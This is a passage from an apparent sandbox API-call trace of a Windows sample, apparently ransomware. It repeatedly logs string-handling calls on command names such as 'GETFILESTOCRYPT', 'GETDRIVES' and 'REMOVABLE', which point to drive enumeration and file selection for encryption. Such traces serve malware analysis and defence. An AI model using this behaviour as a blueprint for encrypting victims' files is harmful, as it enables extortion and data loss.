lpsz="GETFILESTOCRYPT") returned 0xf [0081.624] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.624] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.624] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.624] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.624] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.624] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.624] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.624] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.625] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.625] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.625] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.625] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.625] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.625] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.625] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.625] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.626] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.627] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.627] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.627] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.627] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.627] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.627] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.627] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.628] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.628] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.628] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.628] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.628] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.628] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.628] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.629] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.629] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.629] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.629] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.629] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.629] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.630] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.630] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.631] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.631] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.631] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.631] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.631] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.631] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.632] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.632] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.632] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.632] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.632] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.632] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.632] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.633] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.633] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.633] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.633] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.633] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.633] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.633] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.633] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.633] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.633] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.633] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.633] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.633] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.634] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.634] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.634] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.634] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.679] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.679] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.679] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.679] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.679] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.679] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.679] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.680] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.680] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.680] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.680] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.680] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.680] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.680] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.681] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.681] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.681] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.681] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.681] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.681] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.681] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.681] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.682] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.682] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.682] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.682] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.682] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.682] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.682] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.682] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.746] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.746] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.746] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.746] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.746] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.747] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.747] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.747] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.747] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.747] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.747] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.747] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.747] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.747] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.748] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.748] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.748] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.748] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.748] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.748] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.748] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.748] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.748] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.748] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.748] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.748] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.748] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.748] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.749] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.749] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.749] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.749] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.749] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.749] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.749] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.749] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.749] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.750] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.750] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.750] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.750] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.750] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.750] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.750] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.750] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.750] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.750] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.750] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.751] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.751] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.751] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.751] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.751] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.751] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.751] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.752] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.752] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.752] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.752] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.752] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.752] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.754] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.754] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.754] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.780] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.780] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.780] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.780] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.780] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.781] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.781] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.781] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.781] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.781] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: 